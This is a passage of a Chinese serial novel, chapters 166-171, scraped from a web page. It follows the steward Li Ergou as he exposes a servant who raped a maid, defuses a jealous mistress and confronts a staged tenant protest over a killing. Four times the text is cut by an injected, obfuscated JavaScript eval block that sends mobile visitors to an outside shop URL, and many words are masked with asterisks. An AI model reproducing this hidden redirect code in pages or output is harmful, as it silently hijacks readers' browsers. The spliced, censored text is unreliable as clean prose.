其实李二狗并非完全忽悠小凤,他很同情小凤的出身和遭遇,最看不得穷人被欺负,他从她身上看到了自己曾经的影子。 “李管家,您……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800319|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “小凤,你心里有什么委屈尽管告诉大哥,大哥给你做主。” 小凤泪崩了。 虽然她不明白李二狗为何突然对自己这么好,但如果在自己走投无路的时候突然有一个人愿意伸出援助之手,她肯定会毫无保留。 “李管家……” “叫大哥!” “李大哥,我……,孙管家……不……孙家旺他欺负了我!” “小凤,别着急,你慢慢说,大哥给你做主。” 小凤便原原本本把孙家旺**自己的事情告诉了李二狗。 “李大哥,我真的活不下去了!孙家旺他……他就是一个变态!比胡士高还变态!” “这个畜生,我饶不了他!” “李大哥,我知道孙家旺是你的人,求求你别告诉他是我告诉你的,把憋在心里的话说出来,心里也就好多了。” “小凤,你放心,大哥给你做主,你先回去吧。” 小凤抹着眼泪走了。 李二狗拿起笔写了一个字条,塞到信鸽腿上,放飞出去。 宋孬蛋收到飞鸽传书后,立刻带领几个弟兄下了山。 傍晚时分,孙家旺回到胡家大院。 “李管家,我们被土匪抢了!” “什么?被土匪抢了?” 看着毫发无损甚至身上连一丝尘埃都没有的孙家旺,李二狗的眼神看得他心里直发毛。 “在回来的路上,突然出现一群土匪,把收来的租金全部抢走了。” “孙家旺,你平时不是一向自诩很厉害吗?遇见土匪怎么就怂了?是不是当时就双手把租金奉上了?” “李管家,您听我说,土匪他们有枪,我真是……” “家旺,你真的是被土匪抢了?” 孙家旺被李二狗犀利的眼神吓坏了,他立刻跪在地上。 “李管家,我孙家旺对天发誓,我真是被土匪抢了!” “你紧张什么?我也只是随口一问,毕竟除了你,也没有第二个人知道此事。” “李管家,您一定要相信我啊,我真是是被土匪抢了!” 第166章 孙家旺中计 李二狗微微一笑,没有说话,只是盯着孙家旺的眼睛。 起初,孙家旺还敢与李二狗对视,但很快就败下阵来。 李二狗的眼睛里深不见底,他根本不是对手。 “李管家,这次我被土匪**了租金,是我的过错,请您责罚。” 李二狗似笑非笑地说道:“被土匪**了一点租金倒不是什么大问题,但如果自己心里住进了土匪,那才是最麻烦的,你说呢,家旺兄弟?” “李管家,我真的是被土匪**了,请您一定相信我。” 李二狗摆了摆手,说道:“家旺,我这个人有个习惯,做错了事不要紧,只要态度端正,勇于改正,我还可以继续用你,但如果做了错事,还不知悔改,那就别怪我不客气了。” 李二狗在给宋孬蛋的飞鸽传书中说的很清楚,让他们**孙家旺,但又让他们在听到孙家旺是胡家大院的人后放了他,不抢他的钱。 以李二狗对孙家旺的了解,他肯定会趁着这次被土匪**,昧下这笔钱。 一切都在李二狗的预料之中,连孙家旺藏钱的地点都被宋孬蛋安排的人暗中打探的一清二楚。 孙家旺被李二狗这一番敲打,着实吓得不轻。 但是此时如果自己承认昧下了这笔钱,肯定会被立刻赶出胡家大院。 “李管家,路上遇到土匪,我胆怯了,没有拼死反抗,请您责罚,我孙家旺绝无二话。” 孙家旺说的义正辞严,李二狗决定先不揭穿他。 “家旺,刚才小凤来找我,诉说了自己所受的委屈……” 孙家旺不等李二狗说完,马上分辩道:“李管家,您可千万别信那个疯子的胡言乱语,她是血口喷人。” 李二狗冷笑一声,问道:“家旺,别着急嘛,你都不知道她和我说了什么,就这么急着反驳,心虚了?” 孙家旺明显一怔,知道自己反应太过激烈了。 “李管家,有件事我还没来得及向您汇报。” “奥,什么事你说来我听听。” “在您去省城的那段时间,小凤趁着老爷生病卧床,她想勾引我,被我严词拒绝了。” 孙家旺表现出一副痛心疾首的表情。 “没想到她却反咬我一口,说我**她,还让她家里人来胡家大院闹,我怕闹大了给胡家大院抹黑,就私下给了她三块大洋,她这才作罢!” 孙家旺已经声泪俱下。 “李管家,没想到今天她还敢到您这颠倒是非,趁机谋取私利,您可得给我做主啊。” 孙家旺跪在地上,头磕的砰砰作响。 李二狗知道孙家旺的心思,**这种事,如果没有抓到现行,只要双方各执一词,根本就是一桩断不清的案子。 “好了,你也不用太紧张,信谁不信谁,我自有判断,你先回去吧。” “谢谢李管家,谢谢李管家。” 孙家旺离开之后,李二狗判断他肯定会去找小凤,这也是他告诉孙家旺小凤找过自己之事的原因。 夜幕降临后,李二狗来到小凤住处。 小凤开门见是李二狗,吓了一跳。 “李管家,您怎么来了?” “我来办件大事。” 小凤脸红了。 和孙家旺比起来,李二狗确实是一个令女人脸红心跳的男人。 “李管家,您请进。” 李二狗看小凤的表情知道她可能误会自己意思了。 “小凤,刚才孙家旺来找过我,他不承认曾经对你做过的事,而且还说你敲诈勒索他。” “他……他真是无耻!”小凤咬牙切齿地骂道,“李管家,您一定要相信我,我没有说一句谎话。” “小凤,你先不要着急,如果我没猜错的话,孙家旺肯定会来找你,你要想尽一切办法让他把他做过的丑事说出来。” 小凤默默地点了点头,委屈地直掉眼泪。 正在这时,外边传来一阵脚步声。 “小凤,别紧张,按我们刚才说好的做。” 李二狗说完便躲到柜子后面。 听到敲门声,小凤紧张的手心直冒汗。 “谁?” 对方没有回答,敲门声却大了许多。 小凤打开房门,孙家旺面露凶相,闯了进来。 “你……你来干什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804637|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ” 孙家旺狞笑道:“小凤,真是想不到,你竟然学会打小报告了,敢告老子的刁状!” “我听不懂你在说什么!” “听不懂?我让你懂!” 孙家旺猛然用手掐住小凤的脖子,把她顶到墙上。 “放开我,放开我……” 李二狗知道,孙家旺只是来恐吓小凤,这个时候他不敢对小凤下毒手。 果然,片刻之后,孙家旺便松了手,小凤蹲在地上剧烈地咳嗽起来。 “我实话告诉你,李管家是我大哥,你以为他会相信你说的话吗?” 小凤哭诉道:“你……你**了我,现在还威胁我!” “哈哈,说我**你?谁看到了?我告诉你,没人会相信你说的话,你只会自取其辱。” “哼,那我就豁出去了,我要让所有人都知道你**了我,等老爷回来,一定会打断你的腿!” 孙家旺冲到小凤面前,威胁道:“老爷?你以为他还会活着回来吗?你要不听话,我就让李管家把你赶出胡家大院!” 小凤被吓得嚎啕大哭。 “孙家旺,你到底要怎么样?” “怎么样?”孙家旺盯着小凤丰满的胸脯,表情十分**,“把衣服脱了,让老子再快活一次,我保你能永远留在胡家大院!” 孙家旺一把抱住小凤,狂啃起来。 “小凤,我是真的喜欢你。” 小凤用力把他推开,娇滴滴地说道:“哼,我才不会相信你的鬼话,你如果真喜欢我,又怎会**我。” “我上次是被猪油蒙了心,只要你听话,以后我一定好好疼你,让你吃香的喝辣的。” 小凤故意大声说道:“我不信,即使老爷回不来了,可胡家大院还有大奶奶,还有李管家,你说的又不算。” “你放心,李二狗和大奶奶屋里的迎春有**,等我告诉大奶奶,大奶奶岂能容他,到时候整个胡家大院就都是咱们的了,来吧,小宝贝,我都等不及了。” “孙家旺,你小子野心不小啊。” 李二狗从柜子后面走出来,孙家旺顿时吓得瘫在地上。 第167章 孙家旺狗急跳墙 “李管家,李管家,您听我说,都是她先勾引的我,我可什么都没做啊。” 孙家旺爬到李二狗跟前,抱着他的大腿痛哭流涕。 “都这时候还不知悔改,孙家旺,你真是无药可救了!” 李二狗一脚把孙家旺踢开,孙家旺又爬到李二狗跟前,抱着大腿不松手。 “李管家,爷爷,我的亲爷爷,我知道错了,求您再给我一次机会,以后我给您做牛做马,一定不要赶我走啊。” “孙家旺,本来大家都是穷苦人家出身,为了活命才不得不来到胡家大院供人驱使,大家同命相连,更应该相互帮衬才对,可你还未得势,就这样祸害兄弟姐妹,你**还是人吗?” 李二狗再次一脚把孙家旺踢开,孙家旺跪在地上,开始疯狂扇自己耳光。 “李管家,我是畜生,我是畜生,求您饶我这一次吧。” 他用力抽打着自己的脸颊,很快嘴角就流出血来。 “孙家旺,我给过你机会,可你没抓住,这一次我不会再给你机会了!” 李二狗之所以安排宋孬蛋假装**孙家旺,就是想再给他一次机会。 男人有时候精虫上脑,犯点裤裆里的错误,并不是不可饶恕。 但他不能接受一个人对自己不忠,无论男人还是女人,一旦对自己不忠,这样的人决不能留在自己身边。 “李管家,求求您再给我一次机会吧,我一定痛改前非,重新做人。” 李二狗虽然书读的不多,但也知道江山难改、本性难移的道理,他不可能再给孙家旺机会。 看李二狗不原谅自己,孙家旺又爬到小凤跟前。 “小凤姑娘,我不是人,我是畜生,请你大人不记小人过,原谅我这一次吧,我可以娶你,以后我加倍对你好。” 小凤被孙家旺吓得连连后退,她从未见过如此厚颜无耻之人。 李二狗被孙家旺气笑了。 小凤是胡士高的使唤丫头,他竟然还承诺娶他,真是不知天高地厚。 “孙家旺,你他娘别嚎丧了,马上收拾东西给我滚蛋,我可以不追究你的责任。” 孙家旺看李二狗态度如此坚决,终于露出了他的本来面目。 他从地上爬起来,用力地抹掉嘴角的鲜血,然后狠狠地朝地上吐了一口血水。 “李二狗,我给你当牛做马这么久,你现在却要像扔死狗一样把我扫地出门,你真以为我孙家旺是好欺负的吗?” 小凤被孙家旺的眼神吓坏了,她赶紧躲到李二狗身后。 李二狗倒显得很淡定,他知道孙家旺根本不是自己的对手。 “孙家旺,我已经放你一马,你还想怎样?” “李二狗,你不要把自己当成什么正人君人,你和迎春私通,你以为能瞒得了我吗?” 李二狗心想,应该是昨晚迎春去找自己的时候被孙家旺看见了,这样的人更不能留了。 李二狗嘴角露出一丝鄙视的笑容,问道:“你想怎样?” 孙家旺知道自己和李二狗撕破脸,已经无法再留在胡家大院了。 “你给我五百块大洋,我可以保证不告诉大奶奶,你应该知道,迎春卖的是死契,你俩私通的事一旦被老爷和大奶奶知道,你这个胡家大院管家的位子还能做吗?!” 李二狗本不想赶尽杀绝,没成想孙家旺却狗急跳墙,竟然威胁自己。 “孙家旺,我再给你最后一次机会,你现在自己离开,我可以当什么都没有发生,否则……” “否则什么?李二狗,兔子急了还咬人,你别逼我。” 说着,他竟然从身后掏出一把**,吓得小凤失声惊叫起来。 李二狗默默地从腰间掏出一把驳壳枪,孙家旺立马吓得扔掉刀子,跪在地上。 “李管家,李管家,我现在就滚,求您饶我一条狗命,饶我一条狗命。” 孙家旺**小凤的事并没有被抓到现行,如果此事传扬出去,小凤肯定会被撵出胡家大院,她也就没法做人了。 “马上给我滚!不要让我再看到你。” “我知道了,我知道了。” 孙家旺狼狈逃窜。 小凤扑到李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804638|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 二狗怀里,呜呜地哭了起来,她也是个苦命的女人。 李二狗轻轻拍打着她的后背,安慰道:“小凤,以后你就是我李二狗的妹子,没人敢再欺负你。” 小凤哭得更凶了。 安慰完小凤,李二狗刚回到自己院里,一个家丁跑了进来。 “李管家,大奶奶让您马上去她院里一趟。” 李二狗预感到不妙,问道:“什么事?” 家丁支支吾吾不敢说,李二狗呵斥道:“快说!” “孙家旺向大奶奶告发了您和迎春的事,大奶奶发了大火,您还是快去看看吧。” 李二狗真后悔当初没一**了孙家旺。 他来到于兰芝院门口,看到迎春正跪在地上,旁边站着孙家旺,一脸的幸灾乐祸。 “李二狗,你给我跪下!” 于兰芝挺着大肚子,手里拿着一根棍子,气的声音都变了。 李二狗走近一看,迎春脸上有两道血痕,想来身上也被打得不轻,于兰芝这是下了死手。 “大奶奶,不知道我做错了什么,为何要下跪!” 于兰芝用棍子指着李二狗,痛斥道:“你和这个小蹄子做了什么,心里没数吗?” “我和迎春姑娘清清白白,什么都没有做,大奶奶可不要轻易被奸人挑拨。” 迎春哭着说道:“大奶奶,我要是和李管家做了什么见不得人的事,让我天打五雷轰,不得好死!” “你给我住嘴!小蹄子,做出这等见不得人的勾当,还敢嘴硬!我让你嘴硬!我让你嘴硬!” 于兰芝挥舞着手中的棍子,抽打在迎春身上,迎春被打得不停地呻吟,却并不敢躲避。 孙家旺在一旁乜斜着小眼,就差笑出声了。 李二狗突然向前,一把夺过于兰芝手里的棍子,吓得于兰芝差点摔倒在地。 孙家旺更是吓坏了,他没想到李二狗竟如此胆大妄为,敢对于兰芝动粗。 “李二狗,你真是狗胆包天,竟敢对大奶奶无理,你们这些人还愣着干什么?快点把李二狗抓起来,乱棍打死!” 第168章 李二狗试探于兰芝 家丁们面面相觑,没有一个人敢对李二狗动手。 “你们都先出去吧!” 李二狗一发话,家丁们全部争先恐后地退了出去,而于兰芝并没有出言阻止。 孙家旺以为于兰芝被吓坏了,他一个箭步冲到于兰芝身前。 “大奶奶,我孙家旺就是死也定要护您周全!” “啪!” 于兰芝甩手给了孙家旺一记响亮的耳光,孙家旺完全懵逼了! “你给我滚出去,别让我再看见你!” “大奶奶……” “再不滚我打断你的腿!来人,把孙家旺给我赶出胡家大院!” 两个家丁跑进来,一边一个把孙家旺架了起来。 “大奶奶,您不能这样对我啊,我揭发有功,你可不要被李二狗蒙蔽了。” “拖出去!” 两个家丁把孙家旺架走了,于兰芝一屁股坐在地上,失声痛哭起来。 “我的命好苦啊,你们怎么可以这样对我,我真是没法活了!” 李二狗没有搭理于兰芝,反而上前把迎春扶了起来。 “哎吆!” 迎春起身的时候,身上传来一阵剧痛,于兰芝真是下了死手。 “迎春,对不起,是我连累你受委屈了。” 迎春的眼泪大颗大颗地滴落下来,她是真的委屈。 如果李二狗真的和自己私通,哪怕是被于兰芝打死,她也毫无怨言。 可李二狗根本不喜欢自己,天降横锅,真是无妄之灾。 “李管家,谢谢你,我没事。” “奸夫**!还敢在我面前勾勾搭搭,枉我这么信任你们,我今天饶不了你们。” 于兰芝站起来,又去寻找趁手的家伙。 她看到一把镰刀,摸起来就要砸向迎春。 李二狗突然从腰间掏出驳壳枪,吓得于兰芝和迎春都失声惊叫出来。 于兰芝手里的镰刀“哐当”一声掉在地上,哆哆嗦嗦说不出话来。 李二狗却把驳壳枪枪口反转,递到于兰芝面前。 “如果你不相信我,你现在就毙了我!” 李二狗突如其来的举动,把于兰芝整懵了。 “我就这么不值得你信任吗?别人一句挑唆的话就让你失去了理智?你真是太令我失望了,于兰芝,我对你很失望,特别失望!” 于兰芝抹起了眼泪。 “你们……都来欺负我!” “谁欺负你?明明是你自己无理取闹!迎春跟了你十年,她是什么人,别人不知道,你还不知道吗?她一向对你忠心耿耿,任劳任怨,你却因为一个莫须有的罪名就对她下如此狠手,你这么狠心,对得起你肚里的孩子吗?” “我……” “孩子如果知道他有这么一个心狠手辣的娘,他得多伤心?” “我……” “枉我这么信任你,没想到你却一直不信任我,我真的很伤心,特别伤心。” “二狗,我错了,对不起!” “你不要对我说对不起,你对不起的是迎春。” 于兰芝现在想想,孙家旺的话的确可疑。 迎春打小就跟着自己,一直对自己忠心耿耿,关键是她的长相非常普通,身材又很粗壮,李二狗怎么可能会选择和她私通! 于兰芝流着眼泪走到迎春面前,一把握住她的手,态度极其诚恳。 “迎春,对不起,是我错了,你原谅我好不好?” 这是于兰芝第一次向迎春道歉,迎春感动坏了。 “大奶奶,您千万别这么说,我哪受得起啊!我是您的丫鬟,您想打想骂都是您的自由,不应该向我道歉啊。” “迎春,你别说了,这次是我错了,我就得承认错误,身上的伤疼不疼,走,进屋我给你抹点药。” “大奶奶,不用,一点皮外伤,我自己抹点药就好。” 于兰芝不由分说拉着迎春的手就进了屋。 等迎春脱掉衣服,露出满身的淤青时,于兰芝真的掉泪了。 她没想到自己下手这么狠! “迎春,对不起,我下手太重了。” 于兰芝一边抹药一边流泪,迎春疼得直吸凉气,但心中却是暖暖的。 抹完药,迎春没有穿衣服,而是跪在于兰芝跟前。 “迎春,你这是做什么?快起来。” 迎春拉住于兰芝的手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804639|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 说道:“大奶奶,我和李管家真的什么都没有,您要是不相信,现在就可以检查我的身体,我……我这辈子还没让男人碰过!” 于兰芝彻底相信了迎春。 “快起来,我怎么会不相信你呢,我一直拿你当亲闺女看待!” 迎春被于兰芝感动的涕泪涟涟,即使**,她也觉得这辈子值了。 安抚完迎春,于兰芝来到李二狗跟前。 李二狗没搭理她,他面无表情,正瞅着天空发呆。 “二狗,人家都知道错了,你就原谅人家嘛。” 于兰芝摇着李二狗的胳膊,就像一只摇尾乞怜的小母狗。 “二狗,你快摸摸我的肚子,宝宝正在踢我,这个小东西,现在就知道向着你了,你快摸摸啊。” 于兰芝每次都拿肚里的孩子说事,但这一招却屡试不爽,李二狗就吃这一套。 李二狗摸了摸于兰芝的肚子,里面果然在动。 “哎吆,这狗崽子可真有力气,像他爹一样坏,爷俩合伙欺负我一个人。” 李二狗心中就是有再大的气,此情此景之下,也早已烟消云散了。 于兰芝趴在李二狗怀里,柔声说道:“二狗,你知道吗?每次一想到咱们的孩子就要出生了,我就激动的睡不着,如果醒来的时候你就在我身边,那该多好啊。” 李二狗被于兰芝感动了,现在想来,自己确实是冷落了她。 不过于兰芝一向擅长演戏,也许是因为她知道胡士高已经命不久矣,想拉拢李二狗以便让自己在胡家大院站稳脚跟。 是或者不是,一试便知。 “兰芝,对不起,是我冷落了你们娘俩,我都想好了,等你把孩子生下来,我就带着你们娘俩远走高飞,我们离开胡家大院,我不能让我儿子姓别人的姓。” 于兰芝一时呆住了,她从未想过李二狗会有这种想法! 离开胡家大院? 几千亩的土地就不要了? 这么大的胡家大院就不要了? 磨坊、油坊、米铺、当铺都不要了? 还有这些伺候的丫鬟、佣人,都不要了? 她当然舍不得! 第169章 胡家大院打死人 于兰芝默不作声,李二狗心中已然知道答案。 “呵呵,我只是和你开个玩笑罢了,你可别当真!” 于兰芝立马感觉到李二狗的情绪变化,她撒娇道:“就知道你是在和我开玩笑,不过如果你真想离开这里,天涯海角我也会追随你,只是苦了咱们的孩子。” 李二狗笑道:“只要孩子过得好,姓不姓李又有什么关系,只要我知道他是我李二狗的儿子就好。” “二狗,你对我们娘儿俩真好,你要相信我,早晚有一天我会让咱们的儿子改姓李。” 于兰芝一边说着一边手脚开始不老实起来。 “兰芝,时候也不早了,我不能在这里久留,否则别人要说闲话了。” 于兰芝嘟着红彤彤的小嘴说道:“怕什么?那个老东西又不在,谁敢乱嚼舌根,我就把他赶出胡家大院,好久都没玩了,人家想嘛!” “我是担心张玲玉,她可一直都盯着你这里。” 于兰芝赶忙从李二狗怀里起来,下意识地整理了一下着装。 “张玲玉这个狐狸精,早晚有一天我会把她赶出胡家大院,到时候咱们就可以想干什么就干什么了。” 李二狗哀叹道:“兰芝,胡氏宗族在当地树大根深,人言可畏啊!” 一句话让于兰芝彻底哑口无言。 “我先走了,你好好休息,明天我再来看你。” 李二狗出来之后,特意向张玲玉院子方向瞅了瞅,这边闹得动静这么大,她不可能没听到。 可奇怪的是,张玲玉院子里连灯都没有亮。 李二狗本欲前往一探究竟,但还是忍住了。 他径直来到门房。 “孙家旺赶走了吗?” 一个看门的家丁说道:“李管家,孙家旺已经被赶走了。” “他说什么没有?” 家丁支支吾吾,欲言又止。 “你尽管说,又不是你说的,你担心什么?” 家丁说道:“孙家旺骂您骂得很难听,他说让您等着,他不会让您好过。” 李二狗冷笑一声,自己的仁慈非但没能让他感恩,反而让他变本加厉。 果然人都是畏威不畏德。 “你们几个晚上都给我机灵着点,看好院门,不要让野狗跑进来乱咬人。” “放心吧,李管家,遇见野狗我们就乱棍打死!” 李二狗回到屋里,躺在床上,辗转反侧睡不着,脑子里总是出现张玲玉的样子。 当初令自己神魂颠倒的红肚兜总是在脑海里挥之不去。 对于张玲玉,李二狗的情感是复杂的。 张玲玉屡次谋害李二狗,按照李二狗为人处世的原则,他绝对接受不了这个女人。 可也不知道为什么,她屡次犯错他屡次原谅。 也许是张玲玉这个女人身上有毒,男人一旦沾染,就会神魂颠倒,甚至变得利令智昏。 李二狗是一个普通男人,他也会犯全世界男人都会犯的错误。 睡梦中,李二狗多次梦见张玲玉的红肚兜,早上醒来,浑身像散了架一般,软弱无力。 “李管家,不好了,门外来了几十个佃户,说是昨晚咱们派去收租的人打死了人,现在他们把尸体抬到大门口,一定让咱们给个说法。” 李二狗快速回想了一下,昨晚并没有派人下去收租。 每次派人收租,李二狗都再三交代,一定不能出人命。 李二狗急忙来到大院门口,几十个佃户神情激愤。 一个女人和两个孩子披麻戴孝,正坐在地上嚎啕大哭,身后牛车上停放着一具尸体,身上只盖了一张草席。 “严惩杀人凶手!” “血债必须血偿!” “交出杀人凶手!” …… 李二狗给身旁一个家丁使了个眼色,家丁大声喊道:“大家静一静,这是我们李管家,他有话要和大家说。” “让胡士高出来,我们要见胡士高。” “对,让胡士高出来,别做缩头乌龟。” 李二狗大声喊道:“大家不要激动,先听我说。” “我们要见胡士高!” “让胡士高滚出来!” 李二狗瞅了一眼,人群后面有两个人正带头呼喊着口号,李二狗总感觉这两个人有点眼熟,好像在哪里见过,一时又想不起来。 “大家听我说,我们老爷去省城看病了,你们有什么事可以先和我说。” “和你说?你说了又不算,我们要和说了算的说。” “让胡士高的姨太太出来。” “对,让胡士高的小老婆出来。” 在后面两个人的怂恿下,人群开始骚动,大家有要冲进胡家大院的冲动。 “大家听我说,现在胡家大院由我说了算,到底发生了什么事,请你们派一个代表出来和我说清楚,不然这样闹下去根本解决不了问题。” 这时,站在人群最前面的一个老年人站了出来。 “你真能做主?” “我是胡家大院管家李二狗,我要先知道到底发生了什么事,才能给你明确答复。” 老年人回过头冲着人群挥了挥手,示意大家先安静下来。 “我是李家堡村村长李保民。” “李村长,你好。” “昨天晚上,你们胡家大院派人到我们村收租,李大民年前生了一场大病,家里实在交不起租,你们的人打了他不说,还要欺侮李大民的媳妇,李大民气不过,拉扯中,你们竟然把他打死了!” “我的老天爷啊,我实在是没法活了!” 李大民的媳妇嚎啕着从地上爬起来,就俯着身子撞向门口的石狮子。 “快拉住她!” 两个人立马上前拉住李大民的媳妇,两个孩子抱着她的大腿,哭声震天。 “我真是没脸活了!李大民,你这个杀千刀的,你就这样扔下我们娘仨撒手走了,以后我们娘仨可怎么活啊!” “都是这个管家教唆手下打人的,让他偿命!” “对,让他给大民兄弟偿命!” “偿命!” “偿命!” …… 李二狗嗅到一股阴谋的味道,这分明是有人在背后捣鬼! 人群汹涌着挤向前,两个家丁举着枪对准了人群,大家一时被吓住了! “大家不要怕,他们不敢开枪!” “为大民兄弟报仇!” “让李二狗偿命!” 面对群情激愤的人群,李二狗深知一个不慎,就可以造成无法挽回的后果。 第170章 三天期限 李二狗心想,如果真是胡家大院收租之人杀了人,为何他们不去县警察局报案,反而抬着尸体来到胡家大院门口喊冤? “我们冲进去,让李二狗偿命!” “大家跟我冲!” …… 情急之下,李二狗掏出驳壳枪,对着天空“砰砰”两枪,人群顿时安静下来。 “大家听我说,私闯民宅是犯法的,你们一定要冷静!” 李保民带领大家来胡家大院就是要讨个说法,说白了就是要点赔偿,事情闹大了,他也承担不起这个责任。 “大家先静一静,先听听他怎么说。” 李二狗说道:“李村长,实不相瞒,昨天晚上我们胡家大院根本没有派人下去收租。” “你们打死人还想抵赖?当我们李家堡没有男人了是吗?” “是男人的都站出来,一定要给大民兄弟讨个公道!” 人群再次骚动起来。 李二狗一直在暗中观察,每次挑头喊口号的都是站在人群后面的两个人。 李二狗面对激愤的人群,毫无畏惧,他穿过人群,径直来到那两个人跟前。 两个人明显有些紧张,低着头,帽檐压低盖住了眼睛。 “两位兄弟如此卖力,实在是令人佩服,何不站到前面去说说,一直躲在后面难道是心虚不成?” “我们……心虚什么?明明是你们打死了人,你别威胁我们,我们不怕!” “不怕?那就站到前面去!” 李二狗一把扯下其中一个人的帽子,大声问道:“李村长,这个人可是你们李家堡村的人?” 大家的目光齐刷刷看过来。 “这位后生看着面生,不是我们李家堡的人。” “我们路见不平……不行吗?你们胡家大院打死人还想抵赖,仙人洞镇没有王法了吗?” 李二狗拉着他的手腕,手上一发力,疼得他惨叫一声。 “胡家大院打人了!胡家大院打人了!” 李二狗死死捏住他的手腕。 “你们到底是什么人?说!” “我们就是路见不平一声吼,你们胡家大院杀了人不仅不承认还想威胁哦我们,我就不信你们能一手遮天!告诉你,爷爷我不怕!” “快把人放了!” 另一个人大声喊道,并鼓动其他人跟着他呼喊。 不明真相的群众一起喊道:“放人!” “放人!” …… 李二狗只能放开那个人的手腕,刚一松手,两人就趁机向后跑去。 他掏出驳壳枪,瞄准了正在逃窜的两个人,但最终还是没有选择开枪。 佃户们一看这架势,顿时噤了声。 自己只是被叫来帮个人场,要是为了别人的事丢了自己的性命,实在是得不偿失。 “李管家,你……你这是干什么?老朽我活了七十多岁,什么风浪没见过?你这样可唬不住我们!” “李村长,您误会了,和您说实话,我们胡家大院昨晚真的没有派人下去收租,这里面一定有什么误会。” “误会?难道是别人不请自来,自愿为你们收租吗?老朽虽然年纪大了,可并不是老糊涂。” “李村长,您看这样行不行?我先给李大民家拿三十块大洋,让他们回家先把丧事办了,毕竟死者为大,入土为安。” 三十块大洋,和李保民心里的底线倒是相差无几。 “给我们三天时间,三天之内我一定会给你们一个交代,您看怎么样?” “好,老朽就相信李管家这一回,三天之后,如果你不能给我们一个明确的交代,老朽就是拼上这条老命,也一定要讨回一个公道。” 李二狗命人取来三十块大洋,交到李保民手上。 看着李大民媳妇和两个嗷嗷待哺的孩子,李二狗的眼泪止不住流下来。 他从小没娘,知道单亲家庭的不易,更何况对方还是一个女人。 李二狗走到李大民媳妇跟前,两个孩子吓得立马躲到她怀里。 李二狗伸出手,抚摸了一下孩子的脸颊,孩子虽然瘦得皮包骨头,但眉眼间却有一股英气。 “你要干什么?” 李二狗从兜里掏出二十块大洋塞到她手里。 “这是我个人的一点意思,给孩子买点吃的。” 李大民媳妇被李二狗整的不会的,这样的人他还是第一次遇见。 李二狗的善行也感动了李保民。 “李管家既然答应三天之内给我们一个交代,那我们就先回吧,让大民入土为安。” 李大民媳妇给李二狗深深地鞠了一躬,领着两个孩子,坐上牛车,哭着走了。 佃户们撤走之后,李二狗按照先前宋孬蛋告诉自己的地址,来到孙家旺的住处,大门紧锁。 李二狗便上了清风寨。 “狗哥,你怎么来了?想我嫂子了吧?哈哈。” 陈老三开完玩笑之后才发现李二狗一脸严肃,便及时住了嘴。 “孬蛋,把兄弟们全部集合起来,所有人,一个不许少!” 宋孬蛋不知道李二狗要干什么,但看他的神情,也不敢多问。 “狗哥,山寨一共有六十八名兄弟,有两名兄弟昨晚请假回家了,其余的全部在这了。” 李二狗依然蒙着面,清风寨的兄弟早已习惯了李二狗的装扮,人家玩的就是神秘感。 李二狗仔细查看了所有人,并没有今天他看到的那个人,但李二狗内心笃定那两个人就是清风寨的人。 “孬蛋,请假的兄弟什么时候回来?” 宋孬蛋说道:“中午之前肯定回来。” “回来之后,直接把他们带到议事厅等我。” “放心吧,狗哥。” 李二狗又把陈嘎子叫到身旁,附耳交待了几句,陈嘎子领命而去。 安排完一切,李二狗向小院走去,陈老三紧紧地跟在他身后。 “老三,你他娘跟在我屁股后面干嘛?舔钩子吗?” 陈老三嘿嘿一笑,说道:“狗哥,我去看看望冬姑娘。” 李二狗这才想起,自己答应过陈老三要把望冬介绍给他,竟把这事给忘了。 忘了就忘了,但他不能承认自己忘了,不然伤兄弟感情。 “你小子天天就惦记着这点事,你放心,我一直记着的,总得找个合适的机会才行。” “嘿嘿,谢谢狗哥,我只是想望冬姑娘了。” 李二狗也想极力促成此事,如果陈老三娶了望冬,这辈子陈老三都会死心塌地地跟着李二狗。 第171章 长了个狼样子 李素文见到李二狗,喜上眉梢。 